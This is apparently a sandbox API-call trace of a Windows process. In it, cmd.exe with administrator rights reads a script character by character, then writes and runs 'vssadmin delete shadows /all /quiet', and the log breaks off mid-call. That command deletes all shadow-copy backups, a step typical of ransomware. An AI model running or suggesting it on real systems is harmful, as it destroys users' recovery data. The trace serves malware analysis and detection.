[0034.563] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0034.563] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.563] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.563] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.563] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0034.563] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.563] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.563] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.563] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0034.563] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.563] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.563] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.563] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0034.563] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.563] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.563] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.563] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0034.563] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.564] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.564] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.564] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0034.564] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.564] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.564] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.564] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0034.564] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.564] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.564] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.564] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0034.564] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.564] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.564] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.564] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0034.564] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.564] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.564] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.564] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0034.564] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.564] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.564] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.564] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0034.564] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.564] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.564] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.564] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0034.565] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.565] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.565] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.565] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0034.565] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.565] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.565] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.565] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0034.565] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.565] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.565] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.565] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0034.565] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.565] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.565] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.565] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0034.565] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.565] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.565] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.565] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0034.565] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.565] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.565] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.565] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0034.565] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.565] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.565] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0034.566] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.566] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.566] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0034.566] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.566] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.566] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0034.566] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.566] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.566] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0034.566] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.566] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.566] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0034.566] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.566] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.566] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0034.566] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.566] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.566] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0034.566] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0034.566] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.567] GetFileType (hFile=0xe8) returned 0x3 [0034.567] _get_osfhandle (_FileHandle=0) returned 0xe8 [0034.567] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0034.567] _get_osfhandle (_FileHandle=1) returned 0xf4 [0034.567] GetFileType (hFile=0xf4) returned 0x3 [0034.567] _get_osfhandle (_FileHandle=1) returned 0xf4 [0034.567] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x49ffc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0034.567] WriteFile (in: hFile=0xf4, lpBuffer=0x49ffc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1ff908, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesWritten=0x1ff908*=0x24, lpOverlapped=0x0) returned 1 [0034.567] GetProcessHeap () returned 0x310000 [0034.567] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x4012) returned 0x32f630 [0034.567] GetProcessHeap () returned 0x310000 [0034.567] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32f630 | out: hHeap=0x310000) returned 1 [0034.567] GetProcessHeap () returned 0x310000 [0034.567] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb0) returned 0x3297e0 [0034.567] GetProcessHeap () returned 0x310000 [0034.567] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x22) returned 0x324610 [0034.568] GetProcessHeap () returned 0x310000 [0034.568] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x48) returned 0x32aa90 [0034.568] GetConsoleOutputCP () returned 0x4e3 [0034.568] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x49ffbfe0 | out: lpCPInfo=0x49ffbfe0) returned 1 [0034.568] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0034.569] GetConsoleTitleW (in: lpConsoleTitle=0x1ff8c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0034.569] GetProcessHeap () returned 0x310000 [0034.569] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x218) returned 0x329910 [0034.569] GetProcessHeap () returned 0x310000 [0034.569] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x5a) returned 0x329b30 [0034.569] GetProcessHeap () returned 0x310000 [0034.569] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x420) returned 0x329090 [0034.569] SetErrorMode (uMode=0x0) returned 0x0 [0034.569] SetErrorMode (uMode=0x1) returned 0x0 [0034.569] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3290a0, lpFilePart=0x1ff150 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1ff150*="Desktop") returned 0x25 [0034.569] SetErrorMode (uMode=0x0) returned 0x1 [0034.569] GetProcessHeap () returned 0x310000 [0034.569] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x329090, Size=0x6e) returned 0x329090 [0034.569] GetProcessHeap () returned 0x310000 [0034.569] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x329090) returned 0x6e [0034.569] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49fef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0034.569] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0034.569] GetProcessHeap () returned 0x310000 [0034.570] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x128) returned 0x325b70 [0034.570] GetProcessHeap () returned 0x310000 [0034.570] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x240) returned 0x311ab0 [0034.570] GetProcessHeap () returned 0x310000 [0034.570] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x311ab0, Size=0x12a) returned 0x311ab0 [0034.570] GetProcessHeap () returned 0x310000 [0034.570] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x311ab0) returned 0x12a [0034.570] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49fef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0034.570] GetProcessHeap () returned 0x310000 [0034.570] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xe8) returned 0x329db0 [0034.570] GetProcessHeap () returned 0x310000 [0034.570] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x329db0, Size=0x7e) returned 0x329db0 [0034.570] GetProcessHeap () returned 0x310000 [0034.570] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x329db0) returned 0x7e [0034.570] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0034.570] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1feec0) returned 0xffffffffffffffff [0034.570] GetLastError () returned 0x2 [0034.570] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x1feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1feec0) returned 0xffffffffffffffff [0034.570] GetLastError () returned 0x2 [0034.570] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0034.570] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1feec0) returned 0x329ba0 [0034.571] FindClose (in: hFindFile=0x329ba0 | out: hFindFile=0x329ba0) returned 1 [0034.571] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x1feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1feec0) returned 0xffffffffffffffff [0034.571] GetLastError () returned 0x2 [0034.571] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x1feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1feec0) returned 0x329ba0 [0034.571] FindClose (in: hFindFile=0x329ba0 | out: hFindFile=0x329ba0) returned 1 [0034.571] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0034.571] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0034.571] GetConsoleTitleW (in: lpConsoleTitle=0x1ff410, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0034.577] GetProcessHeap () returned 0x310000 [0034.577] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x21c) returned 0x329110 [0034.577] GetConsoleTitleW (in: lpConsoleTitle=0x329120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0034.577] GetProcessHeap () returned 0x310000 [0034.577] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x329110, Size=0xc0) returned 0x329110 [0034.577] GetProcessHeap () returned 0x310000 [0034.577] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x329110) returned 0xc0 [0034.577] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0034.579] GetProcessHeap () returned 0x310000 [0034.579] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x329110 | out: hHeap=0x310000) returned 1 [0034.579] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ff1c8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ff188 | out: lpAttributeList=0x1ff1c8, lpSize=0x1ff188) returned 1 [0034.579] UpdateProcThreadAttribute (in: lpAttributeList=0x1ff1c8, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ff178, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ff1c8, lpPreviousValue=0x0) returned 1 [0034.579] GetStartupInfoW (in: lpStartupInfo=0x1ff2e0 | out: lpStartupInfo=0x1ff2e0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0034.579] GetProcessHeap () returned 0x310000 [0034.579] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x20) returned 0x324640 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", 